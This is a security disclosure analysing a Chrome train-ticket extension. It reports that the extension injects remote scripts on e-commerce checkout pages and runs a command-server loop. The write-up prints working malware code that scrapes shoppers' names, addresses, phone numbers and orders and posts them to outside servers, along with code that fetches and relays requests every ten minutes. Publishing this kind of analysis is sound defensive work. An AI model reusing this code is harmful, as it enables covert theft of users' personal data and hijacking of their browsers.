chrome web store url : https://chrome.google.com/webstore/detail/tatkal-for-sure-irctc-tat/mjibdhifibokijabebohlhfnmljbleff?utm_source=chrome-ntp-icon
version: 1.0.131

The TatkalForSure extension from BuyHatke advertised as an extension to help users book tatkal train tickets but it has been doing the following malicious activities


1.Stealing user's personal information (Address,phonenumber,products bought in ecommerce store) and sending it to the buyhatke servers

2.using user's computer without his/her knowledge to visit urls obtained from a command server . which can be used for hijacking affiliate marketing parameters of other sites, scraping websites, DDOS ,etc


The following section explains how the extension is doing the above activities

1.Stealing user's personal information:

ck.js which is a contentscript file (Extension has permission to execute this file on all pages a user visits) checks for the following patterns in the url of the page a user visit

"www.amazon.in/",
"myntra.com/checkout/confirm",
"myntra.com/checkout/paymen",
"jabong.com/checkout/success",
"ebay.in/OrderConfir",
"snapdeal.com/prepareThankYouPage",
"shopclues.com/atom/orderConfirmation",
"paytmall.com/shop/summary",
"www.flipkart.com/orderresponse",

and download a javascript file appropriate to a pattern and inject the javascript code into the dom

the injected javascript file reads the users personal information like products on their cart, address, mobile number etc and send it to BuyHatke servers

For example, when a user visits myntra.com and orders a product, the user will reach the payment page of that site whose url matches the pattern "myntra.com/checkout/paymen" so the ck.js will download a js file from "https://buyhatke.com/checkxyz/checkoutjs/myntracheck.js" and inject the javascript code in to the sites DOM. the injected code reads the users Address,phonenumber from the sites payment page and store it as a cookie with name "addressobject".

after payment "myntra.com" will take the user to order confirmation page whose url matches the pattern "myntra.com/checkout/paymen" so the ck.js will inject the javascript code from "https://buyhatke.com/checkxyz/checkoutjs/myntracheck.js" into sites DOM. the injected code reads a javascript object on "mynra.com" which contains information about the product bought by the user, then the injected code reads the "addressobject" cookie (which the injected js sets on the payment page, it contains the users address and phone number) and finally the injected js sends the stolen data (products purchased by the user, address and phone number of the user) as a post request to "https://tatkalforsure.com/checkoutjs/checkout.php".

The extension is using similar schemes and techniques as stated in the above example in many sites and steal users personal information which is only available to the user after their authentication, following is a list of sites (where the extensions malicious activity is known as of now ) and the source url of the code the extension injects.

site: amazon.in,
injected script souce: https://buyhatke.com/checkxyz/checkoutjs/amazcook.js, https://buyhatke.com/checkxyz/checkoutjs/amazcheck.js

site: myntra.com,
injected script source: https://buyhatke.com/checkxyz/checkoutjs/myntracheck.js

site: jabong.com,
injected script source: https://buyhatke.com/checkxyz/checkoutjs/jabongcheck.js

site: ebay.in,
injected script source: https://buyhatke.com/checkxyz/checkoutjs/ebaycheck.js

site: snapdeal.com,
injected script source:https://buyhatke.com/checkxyz/checkoutjs/snapcheck.js

site: shopclues.com,
injected script source: https://buyhatke.com/checkxyz/checkoutjs/shopcheck.js

site: paytmmall.com,
injected script source: https://buyhatke.com/checkxyz/checkoutjs/paytmcheck.js

site : flipkart.com,
injected script source: https://buyhatke.com/checkxyz/checkoutjs/flipcheck.js


Following code listing from the ck.js file in the extension injects the downloads and injects the javascript code into the page


	var s = document.createElement("script"),
		j = document.createElement("script"),
		t = document.createElement("script");
	j.id = "bh-jquery", s.id = "bh-script", j.src = "https://code.jquery.com/jquery-3.2.1.min.js";
	var url = window.location.href;
	//here they check for flipkart.com and inject the js code relevant to flipkart.com
	url.split("www.flipkart.com/orderresponse").length > 1 && (s.src = "https://buyhatke.com/checkxyz/checkoutjs/flipcheck.js", (document.head || document.documentElement).appendChild(j),
	//here they check for amazon.in and inject the js code relevant to amazon.in
	(document.head || document.documentElement).appendChild(s)),
		url.split("www.amazon.in/").length > 1 && (s.src = "https://buyhatke.com/checkxyz/checkoutjs/amazcook.js", (document.head || document.documentElement).appendChild(j), (document.head || document.documentElement).appendChild(s)),
		url.split("www.amazon.in/").length > 1 && (t.src = "https://buyhatke.com/checkxyz/checkoutjs/amazcheck.js", (document.head || document.documentElement).appendChild(j),
			setTimeout(function() {
				(document.head || document.documentElement).appendChild(t)
			}, 400)),
	//here they check for myntra.com and inject the js code relevant to myntra.com
		(url.split("myntra.com/checkout/confirm").length > 1 || url.split("myntra.com/checkout/paymen").length > 1) && ((document.head || document.documentElement).appendChild(j), s.src = "https://buyhatke.com/checkxyz/checkoutjs/myntracheck.js",
			setTimeout(function() {
				(document.head || document.documentElement).appendChild(s)
			}, 400)),
	//here they check for jabong.com and inject the js code relevant to jabong.com
		url.split("jabong.com/checkout/success").length > 1 &&
		((document.head || document.documentElement).appendChild(j),
			s.src = "https://buyhatke.com/checkxyz/checkoutjs/jabongcheck.js",
			(document.head || document.documentElement).appendChild(s)),
	//here they check for ebay.in and inject the js code relevant to ebay.in
		url.split("ebay.in/OrderConfir").length > 1 &&
		((document.head || document.documentElement).appendChild(j),
			s.src = "https://buyhatke.com/checkxyz/checkoutjs/ebaycheck.js",
			(document.head || document.documentElement).appendChild(s)),
	//here they check for snapdeal.com and inject the js code relevant to snapdeal.com
		url.split("snapdeal.com/prepareThankYouPage").length > 1 &&
		((document.head || document.documentElement).appendChild(j),
			s.src = "https://buyhatke.com/checkxyz/checkoutjs/snapcheck.js",
			(document.head || document.documentElement).appendChild(s)),
	//here they check for shopclues.com and inject the js code relevant to shopclues.com
		url.split("shopclues.com/atom/orderConfirmation").length > 1 &&
		((document.head || document.documentElement).appendChild(j),
			s.src = "https://buyhatke.com/checkxyz/checkoutjs/shopcheck.js",
			(document.head || document.documentElement).appendChild(s)),
	//here they check for paytmall.com and inject the js code relevant to paytmall.com
		url.split("paytmall.com/shop/summary").length > 1 &&
		((document.head || document.documentElement).appendChild(j),
			s.src = "https://buyhatke.com/checkxyz/checkoutjs/paytmcheck.js",
			(document.head || document.documentElement).appendChild(s));



Following is the code the the extension is injecting on myntra.com

	console.log("loaded");
	var url = window.location.href;
	var urlcheck = "myntra.com/checkout/confirm";
	//this is where the code checks for order confirmation page
	if (url.split(urlcheck).length > 1) {
	  //For more than one products
	  //analyticsLayer is an javascript objec on myntra.com it contains information about the products on cart
	  var analyticsLayer = analyticsLayer;
	  //read the products bought by the user
	  var noofproducts = analyticsLayer.products.length;
	  var products = [];
	  var k = 0;
	  for (var i = 0; i < noofproducts; i++)
	  {
	    var productname = analyticsLayer.products[i]["Style-Name"];
	    var productcode = analyticsLayer.products[i].SKU;
	    var productsize = analyticsLayer.products[i].Size;
	    var deliverydate = '';
	    var quantity = parseFloat(analyticsLayer.products[i].Quantity);
	    var sellername = "none";
	    var productprice = parseFloat(analyticsLayer.products[i].Price);
	    //For more than one order id
	    var orderid = analyticsLayer.id;
	    var product = {
	      "name": encodeURIComponent(productname),
	      "pid": encodeURIComponent(productcode),
	      "quantity": encodeURIComponent(quantity),
	      "size": '',
	      "price": encodeURIComponent(productprice),
	      "sellername": encodeURIComponent(sellername),
	      "deliverydate": encodeURIComponent(deliverydate),
	      "orderid": encodeURIComponent(orderid)
	    }
	    products.push(product);
	  }
	  products = JSON.stringify(products);
	  products = encodeURIComponent(products);
	  //Total amount (More than one order)
	  var amount = analyticsLayer.revenue;
	  //General for all
	  var username = $(".user-name").text();
	  var mobile = '';
	  //gets the address from cookie set in previous page
	  var addressobject = getCookie("addressobject");
	  //addressobject=JSON.stringify(addressobject);
	  var clienttime = Date.now();
	  var date = Date.now();
	  var email = '';
	  var bankname = "bhuwan";
	  var modeofpayment = $(".pmode").text().split("Payment Mode")[1].trim().replace(/[^\x20-\x7E]/gmi, " ");
	  var website = 111;
	  var jsonArr = [{
	    'modeofpayment': modeofpayment,
	    'orderid': orderid,
	    'bankname': bankname,
	    'email': email,
	    'date': date,
	    'amount': amount,
	    'username': username,
	    'mobile': mobile,
	    'address': addressobject,
	    'products': products,
	    'website': website,
	    'aff': 'thirdparty',
	    'param1': 'thirdparty',
	    'param2': 'thirdparty'
	  }];
	  // jsonArr = JSON.stringify(jsonArr);
	  //code is formattig the stolen data
	  var jsonParData = jsonArr;
	  var parameters = "ext_id=10000001&auth_val=10000001";
	  var L = jsonParData.length;
	  for (var i = 0; i < L; i++) {
	    var obj = jsonParData[i];
	    for (var j in obj) {
	      var paramKey = (j);
	      var paramVal = (jsonParData[i][j]);
	      parameters += "&" + paramKey + "=" + paramVal;
	    }
	  }
	  // console.log("parameters"+parameters);
	  //stolen data is sent to server
	  //jsonArr = JSON.stringify(jsonArr);
	  $.ajax({
	    url: 'https://tatkalforsure.com/checkoutjs/checkout.php',
	    type: 'post',
	    dataType: 'json',
	    success: function(data) {
	      //$('#target').html(data.msg);
	      console.log("done");
	    },
	    data: parameters
	  });
	  //console.log("type");
	}
	// this is where the code check for payment page on "myntra.com"
	//the code reads the address and phone no of the user and sets in as a cookie
	if (url.split("checkout/paymen").length > 1) {
	  // alert("bhuwan");
	  var fullname = $(".name").eq(0).text();
	  var address1 = $("div.address").text();
	  var address2 = $(".locality").text();
	  var address = address1 + "," + address2;
	  var landmark = "";
	  var city = $(".city").text().split("-")[0].trim();
	  var state = $(".state").text();
	  var mobilenumber = $("div.mobile").text().split("Mobile:")[1].trim();
	  var pincode = $(".city").text().split("-")[1].trim();
	  var addressobject = {
	    "type": '',
	    "fullname": encodeURIComponent(fullname),
	    "address1": encodeURIComponent(address1),
	    "address2": encodeURIComponent(address2),
	    "address": encodeURIComponent(address),
	    "landmark": encodeURIComponent(landmark),
	    "city": encodeURIComponent(city),
	    "state": encodeURIComponent(state),
	    "mobilenumber": encodeURIComponent(mobilenumber),
	    "pincode": encodeURIComponent(pincode)

	  }
	  addressobject = JSON.stringify(addressobject);
	  addressobject = encodeURIComponent(addressobject);
	  setCookie1("addressobject", addressobject);
	}
	function getCookie(cname) {
	  var name = cname + "=";
	  var ca = document.cookie.split(';');
	  for (var i = 0; i < ca.length; i++) {
	    var c = ca[i];
	    while (c.charAt(0) == ' ') c = c.substring(1);
	    if (c.indexOf(name) != -1) return c.substring(name.length, c.length);
	  }
	  return "";
	}
	function setCookie1(cname, cvalue, exdays) {
	  var d = new Date();
	  var dom = window
	  d.setTime(d.getTime() + (exdays * 24 * 60 * 60 * 1000));
	  var expires = "expires=" + d.toGMTString();
	  document.cookie = cname + "=" + cvalue + "; " + expires + "; path=/;domain=" + "." + window.location.host.split(".")[1] + "." + window.location.host.split(".")[2];
	}

For the scripts injected in other sites use the url given in the above url listing.


2.using user's computer without their knowledge to visit unkonown urls

	The extension's getpnr.js which is listed as background page script file(the extension has permission to run this script when ever the user keep their browser open) has code that communicate to a command server via http requests (it hits the url "https://advcrawler.buyhatke.com/tatkal/getOtherAPI/?rand=") every 10 minutes and based on the response from the server the code decides whether to visit a url or not. the server can decide what ajax request the extension has to make and after getting data from the ajax request the extension sends back that data to a server with endpoint "https://advcrawler.buyhatke.com/tatkalAPIs/submit.php" in a post http request

	Following code from getpnr.js does the job of hitting  a server every 10 min, get data and based on the data make a ajax request and send the result of the ajax request to server



function trainTwoFromAPI(settings, strMain, aparams) {
	var settings = JSON.parse(settings);
	//console.log(settings);
	//console.log("here532");
	$.ajax(settings).done(function(response) {

		if (isJson(response) === true) {
			response = JSON.stringify(response);
		}
		$.post("https://advcrawler.buyhatke.com/tatkalAPIs/submit.php", {
			"id": strMain,
			"response": response,
			"flag": 1,
			"aparams": aparams
		}).then(function() {
			// console.log("Yay!");
		});
		// console.log(response);
	}).fail(function($xhr) {
		var dataResp = $xhr.responseText;
		$.post("https://advcrawler.buyhatke.com/tatkalAPIs/fail.php", {
			"response": $xhr.responseText,
			"id": strMain,
			"flag": 1,
			"aparams": aparams
		}).then(function() {});
	});
}

function tcs2() {
	$.ajax("https://advcrawler.buyhatke.com/tatkal/getOtherAPI/?rand=" + parseInt(20000000000 * Math.random()), {}).then(function(dataCrawl) {
		console.log(dataCrawl.status);
		if (dataCrawl.status) {
			urlCrawl = dataCrawl.data;
			trainTwoFromAPI(urlCrawl, dataCrawl.strMain, dataCrawl.aparams);
		}
	});
}
setInterval(function() {
	tcs2();
}, 10 * 60000);
tcs2();